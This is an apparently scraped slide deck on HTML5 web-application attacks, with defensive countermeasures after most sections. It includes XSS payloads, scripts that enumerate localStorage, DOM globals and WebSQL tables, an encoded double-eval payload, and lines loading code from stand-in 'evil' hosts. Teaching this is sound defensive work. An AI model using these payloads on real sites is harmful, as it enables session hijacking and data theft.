![Blind Enumeration
for(i in window){
obj=window[i];
try{
if(typeof(obj)=="string"){
console.log(i);
console.log(obj.toString());
}
}catch(ex){}
}
47](https://image.slidesharecdn.com/9-151026090959-lva1-app6891/85/HTML5-hacking-47-320.jpg)
![Global Sensitive Information Extraction from DOM
• HTML5 apps running on Single DOM
• Having several key global variables, objects
and array
– var arrayGlobals =
['my@email.com',"12141hewvsdr9321343423
mjfdvint","test.com"];
• Post DOM based exploitation possible and
harvesting all these values.
48](https://image.slidesharecdn.com/9-151026090959-lva1-app6891/85/HTML5-hacking-48-320.jpg)
![Global Sensitive Information Extraction from DOM
for(i in window){
obj=window[i];
if(obj!=null||obj!=undefined)
var type = typeof(obj);
if(type=="object"||type=="string")
{
console.log("Name:"+i)
try{
my=JSON.stringify(obj);
console.log(my)
}catch(ex){}
}
}
49](https://image.slidesharecdn.com/9-151026090959-lva1-app6891/85/HTML5-hacking-49-320.jpg)
![Blind WebSQL Enumeration
var dbo;
var table;
var usertable;
for(i in window){
obj = window[i];
try{
if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){
tx.executeSql('SELECT name FROM sqlite_master WHERE type='table'',
[],function(tx,results){
table=results;
},null);
});
}
}catch(ex){}
}
if(table.rows.length>1)
usertable=table.rows.item(1).name;
55](https://image.slidesharecdn.com/9-151026090959-lva1-app6891/85/HTML5-hacking-55-320.jpg)
![Web Worker – Hacks!
• Web Workers allows threading into HTML
pages using JavaScript
• No need to use JavaScript calls like
setTimeout(), setInterval(), XMLHttpRequest,
and event handlers
• Totally Async and well supported
[initialize] var worker = new Worker('task.js');
[Messaging] worker.postMessage();
61](https://image.slidesharecdn.com/9-151026090959-lva1-app6891/85/HTML5-hacking-61-320.jpg)
HTML5 hacking
- 2. API (Media, Geo etc.) & Messaging Plug-In Modern Browser Model HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 3. HTML5 – App Layers • Presentation – HTML5 (Tags & Events – new model) • Process & Logic – JavaScript, Document Object Model (DOM - 3), Events, Parsers/Threads etc. • Network & Access – XHR – Level 2 – WebSockets – Plugin-Sockets • Core Policies – SOP – Sandboxing for iframe – CORS
- 4. • CORS/SOP – Data transfer & Origin issues • Web Messaging – Cross Domain calls • Web Workers – Domain calls & Logic issues • LocalStorage – Information leakage & Identity • Web SQL – Offline & Data theft • UI/HTML5 – UI Redressing (mixed with CORS) • DOM/XHR – Several issues • APIs - Geo-Location, Sockets, Drag-Drop Abuse Threat Model & HTML5 Components
- 5. Attacks - Stealth and Silent … A1 - CORS Attacks & CSRF A2 - ClickJacking, CORJacking and UI exploits A3 - XSS with HTML5 tags, attributes and events A4 - Web Storage and DOM information extraction A5 - SQLi & Blind Enumeration A6 - Web Messaging and Web Workers injections A7 - DOM based XSS with HTML5 & Messaging A8 - Third party/Offline HTML Widgets and Gadgets A9 - Web Sockets and Attacks A10 - Protocol/Schema/APIs attacks with HTML5 5
- 6. API (Media, Geo etc.) & Messaging Plug-In A1 - CORS Attacks & CSRF HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 7. HTML5, CORS & XHR • Before HTML5 – XHR was possible to same origin only (SOP applicable) • HTML5 – allows cross origin calls with XHR- Level 2 calls • CORS – Cross Origin Resource Sharing needs to be followed (Option/Preflight calls) • Adding extra HTTP header (Access-Control- Allow-Origin and few others) 7
- 8. HTTP Headers • Request Origin Access-Control-Request-Method (preflight) Access-Control-Request-Headers (preflight) • Response Access-Control-Allow-Origin Access-Control-Allow-Credentials Access-Control-Allow-Expose-Headers Access-Control-Allow-Max-Age (preflight) Access-Control-Allow-Allow-Methods (preflight) Access-Control-Allow-Allow-Headers (preflight) 8
- 9. • CSRF++ - powered by XHR-L2 • XML/JSON Cross Domain stream injection • CORS preflight bypass – content-type • Internal network scanning and tunneling • Information harvesting (internal crawling) • Stealth browser shell – post XSS (Allow origin- *) • Forcing cookie replay by “withCredentials” • Business functionality abuse (upload and streams) Stealth threats
- 10. CSRF with XHR/HTML5 Authentication Server Database Server Web Store Application Server Login request (HTTPS) Session cookie Client/Victim Browser User establishing Session
- 11. CSRF with XHR/HTML5 Authentication Server Database Server Web Store Application Server Placing an order (JSON services) Success Client/Victim Browser User making a buy over HTTP Browser using XHR Call JavaScript
- 12. CSRF with XHR/HTML5 Authentication Server Database Server Web Store Application Server Client/Victim Browser Session is still live – not yet logged out Attacker’s Site Visit Attacker’s page Attacker sends CSRF payload Leveraging XHR Call • Content-type to avoid pre flight • “withCredentials” set to true
- 13. CSRF & HTML5 13
- 14. CSRF with XHR/HTML5 Authentication Server Database Server Web Store Application Server XHR initiates HTTP buy request Success – cookie replayed Client/Victim Browser Attacker’s Site Visit Attacker’s page Attacker sends CSRF payload Hence, • Without victim’s consent or notice • Stealth HTTP request generated • Silent Exploitation takes place Got it
- 15. CSRF & HTML5 15
- 16. • Powerful XHR-Level 2 call allows file upload on the fly. • Interestingly – possible to craft file through JavaScript and post on the server – if CSRF token is not there. • Example, your profile is having a photograph of yours and you visit attacker site that photo changes to something else • More serious threat, exploiting actual business functionalities... CSRF/Upload
- 17. CSRF with XHR/HTML5 Authentication Server Database Server Web Store Application Server Uploading bulk orders Success Client/Victim Browser Business layer function of uploading Browser is having Form (multi-part)
- 19. CSRF with XHR/HTML5 Authentication Server Database Server Web Store Application Server XHR initiates HTTP multi-part - Upload Success – cookie replayed Client/Victim Browser Attacker’s Site Visit Attacker’s page Attacker sends CSRF payload Hence, • Without victim’s consent or notice • Stealth HTTP Upload takes place • Silent Exploitation… Got it
- 20. CSRF/Upload
- 21. Internal Scan/Crawl for CORS • XHR2 – allows full internal scanning capacity • If internal resource is set to “*” for Access-Control- Allow-Origin – Game Over!!! • Attacker can craft a page for box behind firewall, visit the page – XHR gets loaded and start crawling internal information with back tunnel • Harvest and POST back to the server • All JavaScript – supported by all HTML5 browsers • Also can be mixed with timing attacks • Limited crawl – “withCredentials” will not work … 21
- 22. Internal Scan/Crawl for CORS Internal Web/App Server Internal Web Mail Internal HR Application Client/Victim Browser Attacker’s Site InternetInternet IntranetIntranet CSRF Payload And stealth channel
- 23. Internal Scan for CORS
- 24. • Scan and look for – Content-Type checking on server side – CORS policy scan – Form and Upload with tokens or not • Defense and Countermeasures – Secure libraries for streaming HTML5/Web 2.0 content – CSRF protections – Stronger CORS implementation Scan and Defend
- 25. API (Media, Geo etc.) & Messaging Plug-In A2 - ClickJacking, CORJacking and UI exploits HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 26. Click/COR-Jacking • UI Redressing (Click/Tab/Event Jacking) attack vectors are popular ways to abuse cross domain HTTP calls and events. • HTML5 and RIA applications are having various different resources like Flash files, Silverlight, video, audio etc. • If DOM is forced to change underlying resource on the fly and replaced by cross origin/domain resource then it causes Cross Origin Resource Jacking (CROJacking). 26
- 27. • Iframe is having new attributed called sandbox • It allows frame isolation • Diabling JavaScript on cross domain while loading – bypassing frame bursting script – <iframe src="http://192.168.100.21/" sandbox="allow-same-origin allow-scripts" height=“x" width=“x"> - Script will run… – <iframe src="http://192.168.100.21/" sandbox="allow-same-origin" height="500" width="500"> - script will not run – ClickJacking Sandbox – HTML5
- 28. CORJacking • It is possible to have some integrated attacks – DOM based XSS – CSRF – Flash • DOM based issue can change flash/swf file – it can be changed at run time – user will not come to know .. • Example – document.getElementsByName(“login").item(0).src = "http://evil/login.swf"
- 29. CORJacking • Possible with other types of resources as well • Also, reverse CORJacking is a possible threat 29
- 30. Double eval – eval the eval • Payload - document.getElementsByName('Login').ite m(0).src='http://192.168.100.200:8080/flex/ Loginn/Loginn.swf‘ • Converting for double eval to inject ‘ and “ etc… – eval(String.fromCharCode(100,111,99,117,109,101,110,116, 46,103,101,116,69,108,101,109,101,110,116,115,66,121,78, 97,109,101,40,39,76,111,103,105,110,39,41,46,105,116,101, 109,40,48,41,46,115,114,99,61,39,104,116,116,112,58,47,47 ,49,57,50,46,49,54,56,46,49,48,48,46,50,48,48,58,56,48,56,4 8,47,102,108,101,120,47,76,111,103,105,110,110,47,76,111, 103,105,110,110,46,115,119,102,39))
- 31. Similar with … • It is possible to have some integrated attacks – DOM based XSS – CSRF – Silvelight files • DOM based issue can change xap file – it can be changed at run time – user will not come to know .. • Example – document.getElementsByName(“login").item(0).src = "http://evil/login.xap"
- 32. • Scan and look for – ClickJacking defense code scanning – Using X-FRAME-OPTIONS • Defense and Countermeasures – Better control on CORS – Creating self aware components and loading after checking the domain Scan and Defend
- 33. API (Media, Geo etc.) & Messaging Plug-In A3 - XSS with HTML5 tags, attributes and events HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 34. HTML5 – Tags/Attributes/Events • Tags – media (audio/video), canvas (getImageData), menu, embed, buttons/commands, Form control (keys) • Attributes – form, submit, autofocus, sandbox, manifest, rel etc. • Events/Objects – Navigation (_self), Editable content, Drag-Drop APIs, pushState (History) etc. 34
- 35. HTML5 – XSS • Blacklist and filter will get bypassed • Lot of new signatures and possible ways to execute scripts • XSS can be injected from tags and events • New attributes are available for XSS payload 35
- 36. XSS variants • Media tags • Examples – <video><source onerror="javascript:alert(1)“> – <video onerror="javascript:alert(1)"><source> 36
- 37. XSS variants • Exploiting autofocus – <input autofocus onfocus=alert(1)> – <select autofocus onfocus=alert(1)> – <textarea autofocus onfocus=alert(1)> – <keygen autofocus onfocus=alert(1)> 37
- 38. XSS variants • MathML issues – <math href="javascript:alert(1)">CLICKME</math> – <math> <maction actiontype="statusline#http://Blueinfy.com" xlink:href="javascript:alert(1)">CLICKME</ma ction> </math> 38
- 39. XSS variants • Form & Button etc. – <form id="test" /><button form="test" formaction="javascript:alert(1)">test – <form><button formaction="javascript:alert(1)">test • Etc … and more … 39
- 40. • Scan and look for – Reflected or Persistent XSS spots with HTML5 tags • Defense and Countermeasures – Have it added on your blacklist – Standard XSS protections by encoding Scan and Defend
- 41. API (Media, Geo etc.) & Messaging Plug-In A4 - Web Storage and DOM information extraction HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 42. Web Storage Extraction • Browser has one place to store data – Cookie (limited and replayed) • HTML5 – Storage API provided (Local and Session) • Can hold global scoped variables • http://www.w3.org/TR/webstorage/ 42
- 43. Web Storage Extraction • It is possible to steal them through XSS or via JavaScript • Session hijacking – HttpOnly of no use • getItem and setItem calls • XSS the box and scan through storage
- 44. Blind storage enumeration if(localStorage.length){ console.log(localStorage.length) for(i in localStorage){ console.log(i) console.log(localStorage.getItem(i)); } } • Above code allows all storage variable extraction 44
- 45. DOM Storage • Applications run with “rich” DOM • JavaScript sets several variables and parameters while loading – GLOBALS • It has sensitive information and what if they are GLOBAL and remains during the life of application • It can be retrieved with XSS • HTTP request and response are going through JavaScripts (XHR) – what about those vars?
- 46. Password extraction from Ajax/DOM/HTML5 routine • Here is the line of code – temp = "login.do?user="+user+"&pwd="+pwd; xmlhttp.open("GET",temp,true); xmlhttp.onreadystatechange=function()
- 47. Blind Enumeration for(i in window){ obj=window[i]; try{ if(typeof(obj)=="string"){ console.log(i); console.log(obj.toString()); } }catch(ex){} } 47
- 48. Global Sensitive Information Extraction from DOM • HTML5 apps running on Single DOM • Having several key global variables, objects and array – var arrayGlobals = ['[email protected]',"12141hewvsdr9321343423 mjfdvint","test.com"]; • Post DOM based exploitation possible and harvesting all these values. 48
- 49. Global Sensitive Information Extraction from DOM for(i in window){ obj=window[i]; if(obj!=null||obj!=undefined) var type = typeof(obj); if(type=="object"||type=="string") { console.log("Name:"+i) try{ my=JSON.stringify(obj); console.log(my) }catch(ex){} } } 49
- 50. • Scan and look for – Scanning storage • Defense and Countermeasures – Do not store sensitive information on localStorage and Globals – XSS protection Scan and Defend
- 51. API (Media, Geo etc.) & Messaging Plug-In A5 - SQLi & Blind Enumeration HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 52. SQL Injection • WebSQL is part of HTML 5 specification, it provides SQL database to the browser itself. • Allows one time data loading and offline browsing capabilities. • Causes security concern and potential injection points. • Methods and calls are possible
- 53. SQL Injection • Through JavaScript one can harvest entire local database. • Example
- 54. Blind WebSQL Enumeration • We need following to exploit – Database object – Table structure created on SQLite – User table on which we need to run select query 54
- 55. Blind WebSQL Enumeration var dbo; var table; var usertable; for(i in window){ obj = window[i]; try{ if(obj.constructor.name=="Database"){ dbo = obj; obj.transaction(function(tx){ tx.executeSql('SELECT name FROM sqlite_master WHERE type='table'', [],function(tx,results){ table=results; },null); }); } }catch(ex){} } if(table.rows.length>1) usertable=table.rows.item(1).name; 55
- 56. Blind WebSQL Enumeration • We will run through all objects and get object where constructor is “Database” • We will make Select query directly to sqlite_master database • We will grab 1st table leaving webkit table on 0th entry 56
- 58. API (Media, Geo etc.) & Messaging Plug-In A6 - Web Messaging and Web Workers injections HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 59. Web Messaging • HTML5 is having new interframe communication system called Web Messaging. • By postMessage() call parent frame/domain can call with the iframe • Iframe can be loaded on cross domain. Hence, create issues – data/information validation & data leakage by cross posting possible 59
- 60. Web Messaging - Scenario • If postMessage() is set to * so page can be loaded in iframe and messaging can be hijacked • Also, origin is not set to fixed then again frame listen from any domian – again an issue • Stream coming needs to be checked before innerHTML or eval() • Iframe or Web Worker can glue two streams – same domain or cross domain 60
- 61. Web Worker – Hacks! • Web Workers allows threading into HTML pages using JavaScript • No need to use JavaScript calls like setTimeout(), setInterval(), XMLHttpRequest, and event handlers • Totally Async and well supported [initialize] var worker = new Worker('task.js'); [Messaging] worker.postMessage(); 61
- 62. Web Worker – Hacks! 62 JavaScript Runtime Browser Platform Scope and Object – No DOM Access XHR, Location, Navigator etc. Regex, Array, JSON etc… Web Page Current DOM Background Thread on same page - messaging Web Worker
- 63. Web Worker – Hacks! • Security issues – It is not allowing to load cross domain worker scripts. (http:, https:,javascript:,data : -No) – It has some typical issues • It allows the use of XHR. Hence, in-domain and CORS requests possible • It can cause DoS – if user get stream to run JavaScript in worker thread. Don’t have access to parent DOM though • Message validation needed – else DOM based XSS 63
- 64. Web Worker – Hacks! • Exmaple <html> <button onclick="Read()">Read Last Message</button> <button onclick="stop()">Stop</button> <output id="result"></output> <script> function Read() { worker.postMessage({'cmd': 'read', 'msg': 'last'}); } function stop() { worker.postMessage({'cmd': 'stop', 'msg': 'stop it'}); alert("Worker stopped"); } var worker = new Worker('message.js'); worker.addEventListener('message', function(e) { document.getElementById('result').innerHTML = e.data; }, false); </script> </html> 64
- 65. Web Workers – Hacks! • Possible to cause XSS – Running script – Passing hidden payload • Also, web workers can help in embedding silent running js file and can be controlled. • Can be a tool for payload delivery and control within browser framework • importScripts("http://evil.com/payload.js") – worker can run cross domain script 65
- 66. Web Worker – Hacks! 66
- 67. • Scan and look for – JavaScript scanning – Messaging and Worker implementation • Defense and Countermeasures – Same origin listening is a must for messaging event Scan and Defend
- 68. API (Media, Geo etc.) & Messaging Plug-In A7 - DOM based XSS with HTML5 & Messaging HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 69. DOM with HTML5
- 70. DOM based XSS - Messaging • It is a sleeping giant in the Ajax applications coupled with Web Messaging • Root cause – DOM is already loaded – Application is single page and DOM remains same – New information coming needs to be injected in using various DOM calls like eval() – Information is coming from untrusted sources – JSONP usage – Web Workers and callbacks
- 71. AJAX with HTML5 – DOM • Ajax function would be making a back-end call • Back-end would be returning JSON stream or any other and get injected in DOM • In some libraries their content type would allow them to get loaded in browser directly • In that case bypassing DOM processing…
- 72. • Scan and look for – DOM calls – Use of eval(), document.* calls etc. • Defense and Countermeasures – Secure JavaScript coding Scan and Defend
- 73. API (Media, Geo etc.) & Messaging Plug-In A8 - Third party/Offline HTML Widgets and Gadgets HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 74. Offline Apps • HTML5 supports caching pages for offline usage • <html manifest="/appcache.manifest"> • List of pages gets stored • Possible to attack and cache poisoning – Untrusted network or proxy can inject malicious script – When you get on to actual app that script gets executed and keep eye on your activities 74
- 75. HTML5 Widgets • Widgets/Gadgets/Modules – popular with HTML5 applications • Small programs runs under browser and using Web Workers and Messaging • JavaScript and HTML based components • In some cases they share same DOM – Yes, same DOM • It can cause a cross widget channels and iframe/sandbox
- 76. Cross DOM Access Widget 1 Email Widget DOM – Shared DOM Widget 2 RSS Feed Reader Widget 3 Attacker Setting the trap HTML5 – Web Messaging and Workers
- 77. HTML5 - Traps • It is possible to access DOM events, variables, logic etc. • Sandbox is required at the architecture layer to protect cross widget access • Segregating DOM by iframe may help • Flash based widget is having its own issues as well • Code analysis of widgets before allowing them to load
- 78. API (Media, Geo etc.) & Messaging Plug-In A9 - Web Sockets and Attacks HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 79. Web Sockets • HTML5 allows Web Socket APIs – full duplex TCP channel through JavaScript • Allows cross domain connection like CORS • Possible threats – Back door and browser shell – Quick port scanning – Botnet and malware can leverage (one to many connections) – Sniffer based on Web Socket 79
- 80. Internal Scanning • Allows internal scanning, setting backward hidden channel, opening calls to proxy/cache. • Some browsers have blocked these calls for security reason.
- 81. API (Media, Geo etc.) & Messaging Plug-In A10 - Protocol/Schema/APIs attacks with HTML5 HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
- 82. Custom protocol/schema • HTML5 allows custom protocol and schema registration • Example – navigator.registerProtocolHandler("mailto", "http://www.foo.com/?uri=%s", “My Mail"); • It is possible to abuse this feature in certain cases • Browser follows and gets registered for same domain though 82
- 83. • HTML5 few other APIs are interesting from security standpoint – File APIs – allows local file access and can mixed with ClickJacking and other attacks to gain client files. – Drag-Drop APIs – exploiting self XSS and few other tricks, hijacking cookies … – Lot more to explore and defend… APIs …
- 84. Conclusion